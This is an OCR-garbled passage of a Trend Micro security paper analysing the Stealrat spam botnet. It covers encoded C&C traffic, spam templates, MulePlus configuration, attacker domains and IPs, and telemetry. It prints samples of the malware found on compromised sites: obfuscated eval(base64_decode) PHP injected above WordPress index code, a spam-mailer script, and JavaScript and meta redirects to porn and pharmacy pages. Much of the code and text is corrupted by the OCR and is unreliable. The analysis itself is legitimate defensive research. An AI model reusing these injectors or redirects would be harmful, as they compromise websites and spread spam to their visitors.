HosT: bt2.run-stat.org
Connection: Keep-Aliwve
cache-Control: no-cache

HTTP/1.1 200 OK

server: nginx

Date: Fri, 22 Mar 2013 13:11:52 GMT
content-Type: text/plain; charset=is0-8859-1
Content-Length: 434

Connection: close

vary: Accept-encoding

Last-Modified: Fri, 22 Mar 2013 13:11:51 GMT
Accept-Ranges: bytes

PTdRRIABYWp]cGStdnZnxx1jcG1xPilXULdQPAG+ TENPRZWGQWPjcG5tdnZnI1Ijca1xIDALTENP
RZWIPTFXQEQGERFU4I1 INUFIMQO9HIy4 iviupjdivxIndyPT4TUVAASDWI CDSRQELGWZWIPMZ r dDWI
J1BdTENPRYCUINVQZ 2wie213ImNwWZyIwZ2Nmey]2bsIixdmlyInvicxZrbGuie2l3cc12a29nImls
ImBjZiIxa3ZncswivmpnbCIhbwWInImlsIml0Z 3A7dm0 dmpnImBncXyiyYwlubmdhdmttbCIjdGNr
bmNgbmcibwxua2xn1j5jImpwz20,/16p2dnT4L 511dxUsenp4Zmpol GFthylgdmF7zwhjZzm8Ty0dp
WyxqdmIuIDxgZ3BNP11jPCWIPilma3Q8CDItUUBNR]58CA==

The actual data is XOR-ed with 02 and encoded with B64.
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<USER:>char lotte parks</USER:

<MAME>"Charlotte Parks"</MAME:

<SUBJ>FUW: %R MAME%, What's up?</SUBJ>

<SBODYV>

<div

%F_NAME%, when you are ready to Stop wasting your time on bhad sites.
Then come on over to the hest collection svailable online <a
href="http://uww. ccomfbteyogjadm aEkY . html">here</a> .

<fdive

</ BBODT>

* Spam Routine: Inside the <aus></ans> tag is a link that points
to a URL (i.e., the PHP page) of a compromised page.

!GET Jgu.php HTTP/1.1
(accept: */*

User-Agent: Mozilla/5.0
|Host: Tw.run-stat.org
|Connection: Keep-Alive
|cache-control: no-cache

|

[HTTP/1.1 200 0K

|Server: nginx

|Date: Fri, 22 Mar 2013 13:13:36 GMT
|Content-Type: text/html
[Transfer-Encoding: chunked
|Connection: keep-alive
|keep-Alive: timeout=20
ivary: Accept-Encoding

|
129
|htep:// i /cache/wishlistkwwL. php

o

It will then send the spam data via POST to the said URL.

|POST /cache/wishlistkwwL.php HTTP/1.1

|Accept: ®/*

|Content-Type: application/x-www-form-urlencoded
|user-apent: Mnzilla/5.0

|HosT :

|Content-Length: 544

|Connection: Keep-Alive

|Cache-Control: no-cache

| THsBug=0TlocG5jb3IuZ3tCY21uL GFtbw==&eHQLF=pdjimFpvCveAy&mioku=b2NrbmtsLzIxLG96LGNtbixhb
|W8=&dKWNVP=P1dRR1ABbmNPZ 2t xamNddwt sdmdwc T4 TVIFHUDWIPKXDTOCBIES jawdr cwpjI1vrbHZNcHEGPi1M
|Q09HPAGH2BUVIASDXQRZG1 I1dQXUXDTOCNL T IVbXUUIMt2IXETcw0iZwltZi12bsIxzZ2cie213ImN]
|¥2tsIz4tUVdASDWICD5ROELIGWZWIPMZ r dDWIJ1BATENPRYCiZm0i e213Im5r awciPmMianBnZDEg
|lanz2cjgtLwotdmlwzZnBvbwwsb2kty2hpdjFhLGp2b24gPHRrZmdtcSI1tZCIgbhXyY1Y3IFry2wiZwtw
|bnE%Z2BLWMBPSIWamds INtTdyJqY3RNIMFTb2cidmOidmpnInBrZwp2InJuY2FnLAgH2BLWZr dDWIPi1R
|QE1GWZWI

|&P1I5G=QGFXSVpPrQGID5sG53TUM=_&sVXII=ZndDCGRRQHVVHTTP,/1.1 200 OK

|server: nginx/0.7.65

|pate: Fri, 22 mar 2013 13:13:42 GMT

|Content-Type: text/html

Transfer-Encoding: chunked

|Connection: keep-alive

|X-Powered-By: PHP/5.2.13

|x-Powered-By: PleskLin

|24
|oke807f1fcf82d132f9bb018ca6738a19f+0
14

Indicated in the POST request are the following parameters:
e l[random characters] — email address

* e[random characters] — nine randomly generated

characters
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* m|random characters| — mail server
¢ d[random characters] — template from <aub>

To decrypt this, decode using B64 and XOR each byte with 02.
For the sample traffic above, for instance, the decrypted data is:

mail server

email address mail template

AMEEq=
<USER>henrietta_comprton</USER>

<NAME>"Henrietta Compton'"</NAME:

<8UBJ>Re: %R NAME:, It's good to see you, how's life heen treating you?</SUBJ>

<SBEODT>

<dive

sR_MAME%, lock the door, shut out the lights and turn down the wvolume. You are about to

see some guality porn delivered in high def - <a href="http:// W/ wp-

content/plugins/aoEVg. html™>here you go.</a>

<fdiv>

o/ SEOD ¥
The PHP script, wz13ephp, in the compromised site will then
process the data. The sender will also use the compromised site
as email service provider.

Deliverad-To: G gwail.com

Received: by 10.180.212.5 with SHTP id ngScsplS43ivic:
Thu, 4 pr 2013 06:57:53 -0700 (FDT)
ed: by 10.194.63.240 with SHTP id j16mr3796611wis.45. 1365083671286

6041945 .mialojaniento.es. [212.227.22.214])

th ESNTPS id tylsil038000bKb.120.2013.04.04.06.57.50

er=RC4-SHA D1ts=128/128):

151 -0700 (PDT)

: 212.227.22.214 13 neither pernitted nor denied by best guess recor Q for domain of henmrietta_comptonfanimaleame.o

27.22.214 is neither permivted nor denied by best guess record for dowain of henrietta compton@animalesme.org)
r

1332.rtr. kundenserver . de)
mtp (Exim 4.72)
~from <henrietta_comptonfenimaleame.org>)
id 1UNkfw-0001wd-65
for G crail.com; Thu, 04 Apr 2013 15:57:50 +0200
v be forged by CGI script)
er.de with HTTP
Thu, 04 kpr 2013 15:57:50 40200
fo: <37604192001infongd1332.ctr. kundenserver . de>
Thu, 04 hpr 2013 15:57:50 +0200
<0XIFnb-1Ugz7i0kuwu-0185bEE infongd1332. ror. kundenserver .de>

Precedence: bulk
%-hpache-Env: wrv-ip="NTAZLIUWN14yHDO="; he lo="alsnb2 SnZDEaNzIucn
RyLmt thmR Lonl LonZ 1e1 5k 2Q=="; Seript="L2lvh (Bvbniuds

After a successful connection, it will then send the debug string

to the test server in the format, Info :: _SwThread/0] :: Ok :: htip://
www. [redacted] | components/ com_content/ list516g.php.

MulePlus

Until about a year ago, the Stealrat operators used MulePlus to spread
Mutator via the P2P application, eMule. At present, however, this is no
longer the case for spreading the malware.
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Mutator downloads MulePlus, which accepts the parameter, file.exe
m=[eonfig URLJ. A typical configuration file contains the data (shown
below) where:

o <SPAN>id=‘ud’</SPAN> contains the link to which the
encoded debug strings are sent

o <SPAN>id=‘md’</SPAN> contains the main domain from
which b’ and ‘win’ will download files

o <SPAN>id="uib’</SPAN> contains the path to the zipped
Mutator binary file; the executable file inside the archive is typically
named ‘“crack.exe”

o <SPAN>id="nin’</SPAN> contains the path to the list of file
names to which the Mutator archive will be packaged; the file
names usually pertain to cracks and keygens

2K Games BioShock 2 [I1] Crack Eeygen.zip#0#2
ABBYY FineReader 10 Crack Keygen.zip#0#4

ABEYY FineReader v.9.0 Crack Kevgen.zipH#0#6

AEBYY PDF Transformer 3 2009 Crack Kevygen.zip#0#3

ACDSee Pro Photo Manager 2010 12 Crack Eeygen.zip#O#10
hcronis True Image 2010 Crack Eeygen.zip#0#£12

Acronis True Image 2011 Crack Keygen.zip#O§i14

ketive WebCam 11.5 Crack Heygen.zip#0#16

ketivision Call Of Duty 2 Crack Keygen.zip#D#1g
Aotivision Call OFf Duty 4 Modern Warfare 2008 Crack Keygen.zip#0#20
ketivision Call of Duty Modern Warfare Z Crack Keygen.zip#D#2z
Ad-Aware Pro 8 2010 Crack Eeygen.zip#Of24

Akd-ivare Pro 9.0 2011 Crack Keygen.zip#O#25

Adobe Aorobat Pro 10 2011 Crack Keygen.zip#0#30

hdobe Acrokhat Pro 2009 Crack Kevgen.zip#0#32

Adobe Acrobat Professional 2008 9.1 Crack Keygen.zip#O#36
hdobe After Effects C35 Crack Keygen.zip#0#£38

Adobe After Effects v. 9 C34 Crack Keygen.zip#0#40

kdobe Audition 3 2008 Crack Keygen.zip#O#4z

Adokbe dudition v 3.0 Crack Keygen.zip#0#44

Adobe Creative Suite 4.0 €34 Crack FKeygen.zip#0#46

Adokbe Creative Suite 5 Crack Keygen.zip#0#48

o <SPAN>id="uls’</SPAN> contains a link that points to the list

of eMule servers to access

<3ERVER»B83.233.30.55:4500</3ERVER>
<3ERVER»B3.233.30.128:4500</3ERVER>
<SERVER»54.75.216.6:4666</3ERVER>
<3ERVER»35.211.78.232:9715</3ERVER>
<S3ERVER»35.211.78.239:7697</3ERVER>
<3ERVER»178.86.3.1584:4184</3ERVER>
<3ERVER»193.169.86.73:4184</3ERVER>
<3ERVER»212.63.206.35:4242</3ERVER>

23



Trend Micro | Stealrat

o <SPAN>id="‘ulr’</SPAN> contains a link to which the malware
checks in (i.e., registers) to the server; it has the parameters in
the URL path, betp://ntp2.0penpicz.org/ia/ open.cgi/ ia/ open.cgiép=
[hardeoded value]&s= [volume id]

<3ERVER>83.233.30.55:4500</3ERVER>
<3ERVER>83.233.30.128:4500</SERVER>
<3ERVER>94,75.216.6:4666</ 3ERVER>

<3ERVER>95.211.78.232:9715</SERVER>
<3ERVER>95.211.78.239:7697</SERVER>
<3ERVER>178.86.3.154:41584</3ERVER>
<3ERVER>193.169,.586.73:4154</SERVER>
<3ERVER>Z21Z.63.206.35:4242</SERVER>

o <SPAN>id="ulp’</SPAN> contains a link the malware sends
ping requests to in order to check the server’s status; if the server
fails to respond three times, the malware accesses a different URL
to check if the server is still alive; the URL, in a way, acts as a
means to report bugs; it uses the parametet, http:/ [ nip2.openpicy.
org/ ia/ index2.cgi? s= [volume id], when accessing the URL

DirectSender

DirectSenderperforms the actual spamming directly from the compromised
machine. Based on our monitoring, this is rarely done nowadays, as the
server almost always gives the directive to download SzManager instead.
Its configuration files are no longer in the spam servers and we did not
find one in the wild as well.

Nonetheless, its configuration file typically contains the following tags:
*  <mbxmailer></mbxmailer>
¢ <mbbody></ mbbody>
*  <mbsubj></mbsubj>
e <xhead></xhead>
* <mdb></mdb>
¢ <mdata></mdata>

¢ <mddom></mddom>

*  <mdbod></mdbod>
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*  <mdbodrnw></mdbodrnw>
*  <mdndu></mdndu>

¢ <dudp></dudp>

*  <pudp></pudp>

o <rep></rep>

¢ <ldom></ldom>

¢ <lbas></lbas>

o <lent></lent>

o <ltot></ltot>

Online Registrants

The Online Registrants component comprises files capable of registering
accounts in sites like:

o Live (https:/ [ signup.live.com/ signup.aspxemmki=en-us)

o AOL (bttps:/ | new.aol.com/ productsweb/ subflows/ CompleteRegistration/
openAuthClient] ogin.do)

*  Hotmail

Another component can also search for strings in Facebook (htips:/ [ www.

facebook.com/ ajax/ tipeahead/ search.php2value= [string] Sviewer= [uid] & rsp=
searchcontext=searchesid=0.1779724378278047__user=[uid]&>__
a=1&_dyn=798aD5z5ynUc>_req=58).

The binary files have the parameters, file.exe [subdomain] |[partial domain]_
[folder] [config file] |debug port number], as in file.exe 122 stat_d2 ¢s 1000 — file.
exe http:/ | 1222.run-stat.org/ d2/ es.php 1000.
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SH

The SH component downloads updated PHP and/or HTML scripts
from the server that it then sends to compromised sites. It has the
parameters, file.exe [subdomain] [partial domain] [config file name| |debug port
number|. The scripts are then stored in domains hosted on the IP address,
46.165.230.185, on which the email templates and other spam data are
also hosted. One of the domains had an open directory, which allowed
us to see its contents.

5 Index of /u - Windows Internet Explorer I Index of /d - Windows Internet Explorer
s‘t}" &) hpus W v (B
fle Edit  Wiew Favorites  Tools  Help ile  Edit  Wiew Favorites Toals  Help
¢ Favorites | 5 @] Free Hotmall @] Sumnested Sites = @] Web Slics Gallry - I Favortes | 55 B Free Hotmal B suoested Sites = 8] vk Sice aallers
@ ndex of fu ] [ nses ot i [
Index of /u IIndex of /d

s Parent Directory o Parent Directory

+ chl3ephp o copy.php

o rxl.html + delphp

o rx2.himl » patchphp

o sml3ephp * up.php

o smldephp

The PHP scripts were described in more detail in a previous section
while the HTML scripts contain links to landing pages.

<htrml>

<head>
<gcript type="text/javascript™ srco="http://ajax.googleminiapi.com/angular . mwin. je"r< scripts>

<METL HTTP-EQUIV="REFRESH" CONTENT="1;URL=http://www.doctorptot. com'>
</ head>
<hody:>
</hody>
<fhtml>

Command and Control

All of the binary modules are currently hosted in the following domains:
¢ getfree.store-apps.org
* gettrial.store-apps.org

The Stealrat operators could be trying to make the domains look like regular sites that
normal users would typically visit (e.g., music, pictute, and app download/upload sites).

It appears that the Stealrat operators are using a single domain structure. They just copy
the entire structure and move it to different domains.
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Domains Known for Hosting Stealrat Modules

Componen.t Download IP Address Reglstrat_lon
Site Information

rss.openpicz.net BNl
64.79.82.126
web.eurovid.org 64.56.65.20
news.arbmusic.net 64.56.65.20
news.openpicz.org 64.79.82.126
forum.eurovid.org 64.56.64.162
info.get-album.org 64.56.64.162
ads2.freeimags.org 6;67194327;266 kate.lanser@gmail.com
gov.openzbook.org 173.244.180.182

146.185.255.183
getfree.store-apps.org 93.189.41.20
95.163.104.94

gettrial.store-apps.org 95.163.104.94

The IP address, 746.7185.255.183, has also been known to access the compromised sites
via a web panel, apart from performing certain tasks.

Another current active IP address 1s 95.763.704.94 where most of the binaries seem to
originate from. The domains hosted in this include:

e getfree.store-apps.org ° ntp.store-apps.org
* gettrial.store-apps.org ° msc.run-stat.org
* t22.run-stat.org * imgstat-run.info
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geﬂrips.org
95.163. |@ 3.104 258
N ©
5f83[]a8f40801d3?01 Eha293 !
Dﬁ4[lﬁbb4@5?c2c288c561|]6 a9 @ 93

e e
@ \\‘
@ .3 pic.ong
mx.g3 pic.org
I

As of May 31, 2013 (1:00 A.M. PST), the Stealrat operators have already moved the
binaries to a new domain, /is. newsleter.org, which is hosted in the IP address, 95.763.7104.93.

P
o

B

e ! o = G/
i i
B5.163.104.60 hitps stat-run.info e fw.stat-nun.info
95.163.104.51 Pl f“’ fwrun-stat.org 1;
mail stat-run info

n seekd.run-stat.org

05 163.104.04 \ / p

% . E ‘-__._-—__-_._-’ m 45 165230 185

W > bt2.run-stat org

gettrial store-apps org 5f230a8f408e 1 116ed38cd370150a203 \
L)

w 208115108 53

p stat-run infa
J seek.newsleter org ]
\ ' bt newslater.org

> W

ntp.newsleter.org

AABPBINzaC.. 4tILZHg== _3

4.255

anaspatzac. 2izairgf= gt

e newsleter.org

05.183.104.03 E
06408bb485Td552decd 1c2c288c56 1

mix2 games-olympic.arg mix | games-alympic arg

N\
o oW Y

Iyrics-db.org 086 116a07¢ | 154faeh40h | edfZecdfh2eBelss fu newsleter.org 85.143,166.221

3cdTT3bhficeb’ a2d0f7

list newsleter.org
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Payloads

Porn

For the most part, pornography is the main theme of the spam Stealrat sends. Similar

to the servers that send out emails, the links embedded in the messages also point to
compromised sites.

<htmlx
<heads>

CeEta WEEp-gguivetrefrash® conEant=~l: ulsheep://duvalBassadbeuslumnichaptes  srg/ popupltS/bar/ tndey . Biml "
< heads

<body>

<hi>Losding. .. < hls

</pody>

The contents of the pages the links point to are frequently updated. And when visited,

they redirect victims to a porn page that has been injected into another compromised
site.

& - Windows Internet Explorer H=E3

(€IS m——— 5 23 B3 T B

File Edit Wiew Favorites Tools  Help

{; Favorites | {.5 E Suggested Sites * @ | Free Hotmail @ | Web Slice Gallery -

EE B TN NS EE N | & Bl - [ e - Page - Ssfety - Took - @+

LJUIIl L VdeLG yUUI LT IC, i.'
we found the best!

Straight Gay Celebrities

l—l_l_l_l_l_ﬁlnternet W|QIDD% T 4

Online Pharmacy

Another common landing page is an online pharmacy page.

Shtml>
<heads

<SCript type="text/javascript” src="htip://ajax.googleminiapi.com/angulsr.min.st></sScripts

<HETA HTTP-EQUIV="REFRESH" GONTENT="1;URL=HGGD://Vuv.dOCLOIPLOL, Com>
</nesc>

<body>

</body>

</homl>

<html>
<headr

<META HTTP-
EQUIV="REFRESH" CONTENT="0;URL=http://www. doctoregpg. com™>
</head>

<body>
</body>
</heml>
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Both doctorpot.com and doctoregpg.com wete registered by wheredmarcus@yahoo.com, along
with a bunch of other online pharmacy sites.

[ et kot com ][4 x| 8 ure sexrcn

Fie wew Favorites  Toos  Help

5 () Suggestzd Sites ~ 8| Free Hotmall @ | Web Sice Galery ~

| | Fii - B) - [0 & - Page - Sefely

SOBRE NUESTRAS RASTREAR sU

: NT
iclo NOSOTROS FaQ REGLAS PEDIDO PEDIDO CONTACTO
Lengusi I Espaiiol  Diviss: USD & Supedido:
B . Cambiar lencua o divisas (CHANGE LANGUAGE) Artiados: 0 | Total: USD 0.00

Bienvenidos a
Canadian :

PHARMACY USPS Fast Delivery

La farmacia para la familia Shipping to USA in 3-5 business days
= L2 mejor calidad de los medicamentos e |

¢ - E
y
L ~——
dos par [a FDA T - =
més de 35000 clentes satisfechos - &t
.

o ——  Best-sellers de hoy

a0

doom
madd Jom |

Redirects

We also noticed the presence of vatious dex.php files in randomly named and/or
writeable folders. These pages (see the following samples) load other sites, depending
on which of the compromised sites they point to.
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¢ The following page redirects to a certain site if the victim does not use Internet
Explorer® (IE) 6 or 7 and if the referrer is any of the following sites:

¢ yahoo.com ¢ tinyurl.com

* bing.com * yandex.ru

¢ rambler.ru * google.com

¢ live.com ° myspace.com
¢ webalta.ru ¢ facebook.com

e bitly.com * aol.com

<2php
eval (base4_decode ("DQp lonJve 19y ZXBvenRpbreoliCk7DQokeF 6eGxE PITh 1 TUR Lol Ee2 VudCopOvd Ka ToRCEke UF 66yt KXSNC 1Ry IWZ LenVyPSREUOVSVEVS Uyd IVFROX LI FRIVSRY InXTsNC
3RLYHEOFS TR WRV0 JORIVFBSVVIIF UL SEROVOUCAdOWO RS YHCR Yiiep THaliCn i Cohe3 RyaXiibe 1 g VFnLCINUO LF IDeukt Ip 167y 1€ Ahed Kya e 1gkaVF al.CINIO LF IDYURC [pKIaXaVIgkn

NOCH1ZdHI0JHT 1 20y 23S In1hacov1ikah3 Iged RyaXio 11eiwitmluZyIpIcoyIHNOen] zdH I0JK) 1 Iy ZX IS Indhhds 1X 11KSBve 1B 2dHI pe3 RYKCRY ZU Z LemyyLCIsaXZ 1 Lnlivhs T
FIGQVIH‘NDCmJdeIDJHJJZvaZXIsIndJYmFsdGE)l{SEvc)EdeJpc]RVl{CRVZWZJcm‘IvLCJ)aXQu.th)]{SEvc)EdeJPc]RVKCRVZWZJcvaLCJDsWEEdXJsLmNVhSIpIGQvIHEvZWﬂIhW}‘DYunI)QE
DSoLio/ HLCRYZUZ 1 BuCKHVNY2 1heGlo 100112 dvb2es ZVwukC 4Py LeL3VybFu/ 2 Bv I 1vwkenVmzXJ Lo ikob3 Tge3 RyaXloe igkenvnz

XJJc)w)hXchGFJZSS:IhZEI)l{SEvc)EdeJPcJRVl{CRVZWZJcvaLCJmYllNJYvaEvS:IhZDthIpIGQVI}I‘I\lDCmJdeIuJ}lJJZvaZXIsIvahCEJhZD)KSquwD]{aWYq]{CdeHJPCJRv]{CRvZWZJCvaLC
J3 YWD 25 TpIGEYICF 2dKIpe3 RYKCRYZUZ LonWyLC poriyhC IpKXsNCrh 1 TUR 10101 T65 3 TXRpH2 4 6 IGOAHA 61y9se Gt ALnRkbniub TudUsy 111k7D0p 1e6 10KCK7DQpSCa0K QOKTQOKL0==") | :
Jer

+ Front to the WordPress application. This file dossn't do anything, but loads

+ wp-blog-header .php which doss and tells WordPress £o load the theme.

+ Bpackage UordPress
o

s
+ Tells WordPress to load the WordPress thems and output it.
+ @var kool
4

define ('UP_USE_THEMES', true):

/7% Loads the UordPress Enviromwent and Template 7/
recuire (. /wp-blog-header.php')
2

¢ The pages below, meanwhile, access a certain site using the pattern, /[URL// getlinks.
phpiapicode=R33yef943jF & pagenr!=[domain and URI] | useragent=[User Agent].

<ophp

eva;(hasesq da‘:ude(‘ AkniDaNS Y 1bnRz2Nicnmal 100 L0KCK7CgLIARTSHAN TENVTlxPUR KTsKC
1P OUD ZF Ui wg sk 70y L 3 AT s XINL TENVUkxPUFREVYIHLCAKAZTSKTSECHNL b3 BOKCE; TESQVF

\:\FTleICJI{TDNBTFNEUEU)KT.KCSRK‘{XRhI17UUYQVYbFSLEGV:IKCR:IaC)ﬂquJ\:\deXZNsbSNLKC?JaCk’IC\zlYZXR Ip0gznl. . QHE.

0eDoVLELS VOLRIILZA10Gxph ijRJFVIzlﬂJJZJle{ZpGJnEhZZVL:mwS’I)Slcmxlhml\leGLTDIthdHAELyE)L)RIUD s TRVOURVJ £ TRFHRSIAL 1R s

UyJSRYFVRVNUELVS550dKS410nV2 2T h 22V udD01 L nvyhGYuY2SkZSghE1NF U 1 2F UL s 1 SFRUUFSVIOVSHOF HRUSUT 10pL 1T 1 KTsKZWNOby ARG lua3 H7Cg=="] ] ; 7>

<2php

s

® Fronmt to the UordPress spplication. This file dossn't do anything, but loads
* vp-blog-header.php which does and tells WordPress to load the theme.

* Bpackage WordPress
1
Jre

* Tells VardPress to losd the VordPress theme and output it.
* Bvar nool

*/

Gefine('WP_USE_THEMES', true;

/7% Loads the UordPress Enviromwent and Template 7/
require (' ./wp-blog-header.php'];

<ntml>

<heads

<seript type="next/javassripns

P

if (navigator.userigent .mateh(/ (mobile| android|blackberry| brev| elde| docoms | hte| 32me | nicromax| lglmidp|wet |motorols| netfront | nokialohigo| openveh|apert
window. Loeation = "http://slavasesta.rw/Lll/2suh_i8-306dcdd_i6=07;

) iphone

1i=->

<fmcripe>

Jawascripe”> parent.window.opener.location="http://refsatonsa.ru/sccessJkey=seSfatci0faddidlbcTaecBE511d93ec "</ SCripe>

<script language:

<meta http-equiv="refresh" content="0;URL=http://slobodasta.ru/access Ykey=19ccBhThizefoc52774eabbichdl 2075 >
<titlerBromrante</titler

</ head>

<body onlosd="tim() ">
<br>

<body>

</hody>

</html>
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<7php

// silence is golden.

2

<2php

JIRER==HIE

SGLOBALS[' 1890322016 '] =Array (base6é_decods (' TEJyh3f L cxoUw' . 'h3’ . J0aUSH'), basesd_decode ('’ . bIRLcw . FuZis='),basesd _decode (' 0XJsIGV

. bZEL'),Dasesd_decode (e’ . SpXSNLci-' . ='),basesd decode('d' .00 . SuYUNr'),basesd_decode( CHILZIS' L CYER)' . ak--'),bhasesd_decode |’ Zn’

L 1SZVSRZIRETZSWAGY' . 'u' . dHN-'),basefd_decode (' TZSzak--') basefd_decode('ali' . WIZV' . 'b3BS') basefd_decode('d' .'XI' .'sI' LW
.'53b2R1'],base6q_desode (' .'dX' .'JsIUS3' .'B2R' .'1'),base6d_decode('bUQL' |, base6d_decode ['c3Rys' .G
.'z'),kase6q_decode (' bickail='), kase6q_decode ('allS' .'pi2dldi=='], base6d_decode('Zwl' .'SZV' .'O9nZX' .'REVZSwAGVW L'’ . HN'
.'='),base6d_decode(' ' .'EIAVUTIR' .'pbZ' L'SC' . Z¥ap' . e3' .Rz'),bases4 decode | TEVYDFOpmm' .0 10'),basef4_decode (' TSVy' . BF' . 182IX' L Rvet
.'HO='),basefa decode( ' .'¥X' .'JyYLlEl L'k’ LU0 . Fy') based_decode ('Y . 3VghFSz' ' ZIR' . eH' L 00=') basesd_decode('¥3' . VghF!
L'E1eGU3'],bas=64_decods (‘W' . IRZZVRIAN' . 0cn@S'),basecd_decods (' . TEIJYTE L 01f0 L eGSu') basegd_decode(TIV L yh' L UFSC L JRGEzIl o=
.'='),base6d_decode('c3' .'R' .'ya' .'¥Bz' .'bGFzaGVz')):; function _17D9927748(8i){$a-Array('' .'ZGlz' .'cGx' .'heW .'Slendvenll' L=, H' LAt
L=, ¥2r' TpZUSOHZNOZUNE ', ' YaxpZWSOKZNOZUNE ', ' TV ' xTIXD' .'=',*'" /U 'ONSSVE' .'UH0Z' .'JTEV' .'0QUL' L 'F','dg==','de=' .'=', U L OVEY

. KVSEOSBT' . UU=', UKVEVUVTV' .'FSV' . 'Ukk=','SFRUUFSVUOVEX' .'0' .'FHRU' .'SU','@HROcDa' .'vL' .'2Fa2Zh2YUSKZVVelm' .'NvhSS' . 'nZZQucCh'
L'wP2QS', ! IAUS', ' .1 L'mMD', JwESH' . TewaDD=','HD' .'d' .'jVzkd4' .'NTNKO' .'TA' .'2ET' .'Z1' .'¥' .'zRzNTg' .'10UT4' .'HGEY' .'NU' .'Vw'
LUms',NTes', el L imNIQY e L gASNp' .0Z2pobg! L'==','I0 .'m' .'1D0 Lleq! .'==', ¥UxsbSAfdX' . JSX2Z' .'veGVu', ¥IVGHF' .'Opbml0l, ' .lek
CNZTXVT' UKD LMY L zks')rreturn hases4_decode{$al$11):)

§GLOBALS['_1820322016_'1[0] (round(0)) ;1f (round (0+1912.5+1912.5) <4GLOBALS['_1890322016_'] [1] [round (04282 .5+282 .54282 . 5+282 . 64252.8) , round (0+601. 5+60
1.5+601.5+801.5) 1) $GLOBALS['_1850322016_'] [2] (§oacl 0,3 REQUEST); $GLOBALS[' 1850322016 '] [3] [_1709927748 (0),_1709927748 (1)) 5 vhile (round [0+355+359) -
round (0+359+359) ) {GLOBALS['_1890322016_'] [4] {3_REQUEST, §_SERVER,$oacl_1,§ COORIE);if (!=wpty(d COOKIE[_1709927748(2)1))di= (§_COORIE[_1709927748(3)])
;i (SGLOBALS['_ 1890322016 '] [5] {_1708927748 (4] , §GLOBALS [\ 1890322016 '] [6] (§_SERVER[_1708927748 (5]]))] §oacl_1=_ 1708927748 (6) ;=lss

§oacl_1=_1709927748 (7):§oacl_2=§ SEEVER[ 1700927748 (8]]

<?php

echo '<hl>

VYou see this page because one of your friends <br> have invited you.<br:
Page loading, plemse wait.
</hlx';

7

<script type="text/javascript”:>

setTimeout [function(){

document . location.href='http://hifoxnws. cow/' 7}, 35000 ;
E/scripts

<7php
jurls = array |
"heep://hifoxnws.com',
'http://efoxxs.com',
'http://youfxx.com',
'http://on-nwsfx.com',
'heep: // lowfxs. com',
‘http://sofxnva.com',
‘htep:// loseweightfastdietsvithoutexercise. con/ indexer . php?a=276559s0=wl_con',
I:

$n = wt_rand(0,count (§urls) - 1)
Srand_url = Surls[$n];
7=

<weta http-egquivs="refresh” content="1; url=<?php echo  §rand url;?s "

Telemetry

*  Compromised websites: After more than two months, we monitored around 170,000
unique IP addresses or domains that were, at one point or another, compromised. Each
IP address or domain hosted at least two spam mailer scripts.

Regions Where Compromised Domains Are Hosted

!
rg
0

&

e
4

/ -
l»

40.3%

0.1%
1.9%

3.0% "‘
0.8% z 4

Note that 53.9% of the domains were nonregion specific (e.g., .gov, .com, .org, etc.).
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Compromised machines: Emulating an infected machine, a single running malware
process will attempt to send out spam data around 8,640 times a day.

Stealrat Malware Detections by Region, April 1-June 18, 2013

| APAC
[l EMEA
W Japan
B LAR
H NA
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¢ Compromised email addresses: While the majority of recipients were from the big
online email service providers, we also found some pretty interesting email addresses,
including several that ended with .mil, .gov, and .edu. Email addresses that belonged to
organizations in the banking and gas industries were thrown into the mix as well.

Recipient Email Service Provider Breakdown

[ yahoo.com
[l hotmail.com

[l gmail.com
[ Others
.gov 0.02%
.mil 0.02%
.edu 0.95%
qg.com 0.13%
aol.com 15.23%
msn.com 4.10%
live.fr 0.47%
rambler.ru 0.09%
mail.ru 0.63%
yandex.ru 0.18%
sina.com 0.08%
verizon.net 1.09%
comcast 3.47%
earthlink 0.84%
aim.com 0.58%
att.net 0.91%
naver 0.11%
Others 71.13%

We believe most of these email addresses have been gathered from various sites and email
dumps. They seem to have not been vetted as well in terms of quality, as one—cybercrine(@yfbi.
gor—was used by a ransomware variant.” In sum, the Stealrat operators currently send spam to
around 7,000,000 email addresses in rotation.

7 Andy. (May 18, 2013). Trojan Killer. “Computer Crime and Intellectual Property Section Ransomware.” Last accessed July 16,
2013, http://trojan-killer.net/computer-crime-and-intellectual-property-section-ransomware/.
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Conclusion

Exploiting vulnerable websites to send out spam is no longer a new technique. But Stealrat
particularly stood out because its operators effectively used different forms of web threats that
independently work to anonymize spam domains. While it can be argued that the operation
could have been more successful, Stealrat could very well still have just paved the way for a new
trend in spamming.

Stealrat’s operators set very clear boundaries. They used compromised sites to send out spam.
They also used compromised machines but only as mediators between the compromised sites
and the spam server. This allowed them to cover their tracks, as they left no clear evidence
of a connection between the sites and their server. They also used legitimate mail servers and
modified hosts to mask their traffic.

Justas we predicted, cybercriminals will always be on the lookout for new ways to evade security
defenses.® Fortunately, Trend Micro product users are protected from the threat Stealrat poses.
Powered by the Trend Micro™ Smart Protection Network™ cloud security infrastructure,
our solutions rapidly and accurately identify new threats to protect you. Our multilayer email
reputation technology, in particular, combines IP reputation, content analysis, and backend
correlation to respond to email threats in real time. It blocks malicious emails and threats like
zombies, in the cloud, before they even reach you.’

8 Trend Micro Incorporated. (2012). “Security Threats to Business, the Digital Lifestyle, and the Cloud: Trend Micro Predictions for
2013 and Beyond.” Last accessed July 16, 2013, http://www.trendmicro.ca/cloud-content/us/pdfs/security-intelligence/spotlight-
articles/sp-trend-micro-predictions-for-2013-and-beyond.pdf.

9 Trend Micro Incorporated. (2013). Smart Protection Network—Data Mining Framework. Last accessed July 18, 2013, http://
cloudsecurity.trendmicro.com/us/technology-innovation/our-technology/smart-protection-network/index.html.
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Trend Micro Incorporated, a global leader in security software, strives to make the
world safe for exchanging digital information. Our innovative solutions for consumers,
businesses and governments provide layered content security to protect information
on mobile devices, endpoints, gateways, servers and the cloud. All of our solutions are
powered by cloud-based global threat intelligence, the Trend Micro™ Smart Protection
Network™, and are supported by over 1,200 threat experts around the globe. For more
information, visit www.trendmicro.com.
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